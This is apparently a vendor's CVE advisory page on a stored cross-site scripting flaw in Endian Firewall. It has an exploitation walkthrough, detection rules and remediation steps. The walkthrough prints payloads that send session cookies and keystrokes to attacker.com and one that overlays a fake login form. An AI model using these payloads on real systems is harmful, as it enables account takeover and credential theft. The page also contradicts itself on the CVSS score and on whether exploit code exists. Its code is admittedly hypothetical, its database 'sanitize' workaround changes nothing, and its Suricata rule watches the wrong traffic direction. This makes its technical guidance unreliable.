CVE-2026-34816
Executive Summary
CVE-2026-34816 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the domain parameter in the /manage/smtpscan/domainrouting/ endpoint. This injected script is stored on the server and executed when other authenticated users view the affected page, leading to session hijacking, credential theft, or further internal network compromise. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs valid credentials.
- User Interaction (UI): Required (R) – Victim must view the affected page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but once inside, an attacker can pivot to other users and potentially escalate privileges.
Deep Dive & Mechanics
The vulnerability resides in the SMTP scan domain routing configuration page (/manage/smtpscan/domainrouting/). The domain parameter is not properly sanitized before being stored in the backend database and later rendered in the web interface. An authenticated attacker can craft a request like:
POST /manage/smtpscan/domainrouting/
Host: target-endian-firewall
Cookie: session=valid_session
Content-Type: application/x-www-form-urlencoded
domain=<script>alert('XSS')</script>&action=add
The server stores this malicious input without encoding. When any authenticated user (including administrators) navigates to the domain routing list page, the script executes in their browser context. This allows the attacker to:
- Steal session cookies.
- Perform actions on behalf of the victim.
- Redirect to phishing pages.
- Inject keyloggers or other client-side malware.
The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding when rendering the domain parameter in the HTML response.
Vulnerable vs. Patched Code
Vulnerable Code (Endian Firewall <= 3.3.25):
# Hypothetical vulnerable Python/Flask handler
@app.route('/manage/smtpscan/domainrouting/', methods=['POST'])
def add_domain_route():
domain = request.form.get('domain')
# No sanitization
db.execute("INSERT INTO smtp_domain_routes (domain) VALUES (?)", (domain,))
return redirect('/manage/smtpscan/domainrouting/')
@app.route('/manage/smtpscan/domainrouting/')
def list_domain_routes():
routes = db.execute("SELECT domain FROM smtp_domain_routes").fetchall()
# Direct rendering without escaping
return render_template('domain_routing.html', routes=routes)
Patched Code (Hypothetical fix):
# Patched version
import html
@app.route('/manage/smtpscan/domainrouting/', methods=['POST'])
def add_domain_route():
domain = request.form.get('domain')
# Sanitize input
sanitized_domain = html.escape(domain)
db.execute("INSERT INTO smtp_domain_routes (domain) VALUES (?)", (sanitized_domain,))
return redirect('/manage/smtpscan/domainrouting/')
@app.route('/manage/smtpscan/domainrouting/')
def list_domain_routes():
routes = db.execute("SELECT domain FROM smtp_domain_routes").fetchall()
# Output encoding in template
return render_template('domain_routing.html', routes=routes)
The fix involves HTML-escaping the input before storage and ensuring the template engine auto-escapes output. Without a vendor patch, administrators must implement input validation and output encoding manually.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid credentials for the Endian Firewall web interface.
- Network access to the management interface.
Exploitation Steps:
- Log in to the Endian Firewall web interface.
- Navigate to
https://target/manage/smtpscan/domainrouting/. - Intercept the POST request using a proxy (e.g., Burp Suite).
- Modify the
domainparameter to include a malicious payload:domain=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the request.
- Wait for an administrator or other user to view the domain routing list.
- The victim's browser executes the script, sending their session cookie to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> - Keylogger:
<script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script> - Phishing overlay:
<script>document.body.innerHTML='<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h2>Session expired. Please login again.</h2><form><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form></div>'</script>
Blue Team
Detection Steps:
- Monitor web server logs for unusual
domainparameter values in POST requests to/manage/smtpscan/domainrouting/. - Look for patterns like
<script,onerror=,javascript:in thedomainfield. - Use a WAF rule to block requests containing HTML/JavaScript in the
domainparameter. - Regularly audit the
smtp_domain_routestable for suspicious entries.
Hunting Query (Splunk):
index=web_logs source="/var/log/httpd/access_log"
| search uri="/manage/smtpscan/domainrouting/" method=POST
| rex field=form_data "domain=(?<domain_value>[^&]+)"
| where match(domain_value, "<|>|script|onerror|javascript")
| table _time, src_ip, user, domain_value
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/manage/smtpscan/domainrouting/withdomainparameter containing HTML/JavaScript. - Outbound connections to attacker-controlled domains from the Endian Firewall.
- POST requests to
- Host IOCs:
- Entries in the
smtp_domain_routesdatabase table containing<script>tags or event handlers. - Unusual entries in
/var/log/httpd/access_logwithdomain=<script>patterns.
- Entries in the
- File IOCs:
- Modified templates in
/usr/share/endian-firewall/templates/(if attacker gains file write access via XSS).
- Modified templates in
Detection Engineering
YARA Rule
rule CVE_2026_34816_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Endian Firewall domain routing logs"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-34816"
strings:
$xss1 = /domain=<[^&]*script[^&]*>/i
$xss2 = /domain=<[^&]*onerror[^&]*>/i
$xss3 = /domain=<[^&]*onload[^&]*>/i
$xss4 = /domain=.*javascript:/i
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2026-34816 Stored XSS in Endian Firewall
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS via domain parameter in Endian Firewall
author: Valters IT
date: 2026/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/manage/smtpscan/domainrouting/'
keywords:
- 'domain=<script'
- 'domain=<img'
- 'domain=javascript:'
condition: selection and keywords
falsepositives:
- Legitimate domain names containing 'script' (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-34816 Stored XSS Attempt in Endian Firewall";
flow:to_server,established;
content:"POST";
http_method;
content:"/manage/smtpscan/domainrouting/";
http_uri;
content:"domain=";
http_client_body;
pcre:"/domain=<[^&]*(script|onerror|onload|javascript)[^&]*>/i";
sid:1000001;
rev:1;
reference:cve,2026-34816;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the Endian Firewall management interface from untrusted networks (e.g., place behind a VPN or dedicated management VLAN).
- Implement input validation on the
domainparameter using a reverse proxy or WAF (e.g., ModSecurity rule to block HTML tags). - Restrict access to the
/manage/smtpscan/domainrouting/endpoint to only necessary administrative users.
Long-term Fix:
- Apply vendor patch when released.
- Upgrade to a patched version of Endian Firewall.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none' - Conduct a code review of all input handling in the web interface.
Workaround:
- Manually sanitize the
domainparameter in the database using a script:#!/bin/bash # Sanitize existing entries sqlite3 /var/lib/endian/firewall.db "UPDATE smtp_domain_routes SET domain = REPLACE(REPLACE(REPLACE(domain, '<', '<'), '>', '>'), '\"', '"');"
Valters IT
{/* [Security Hash: BE63F43574D606FA41D28455] */}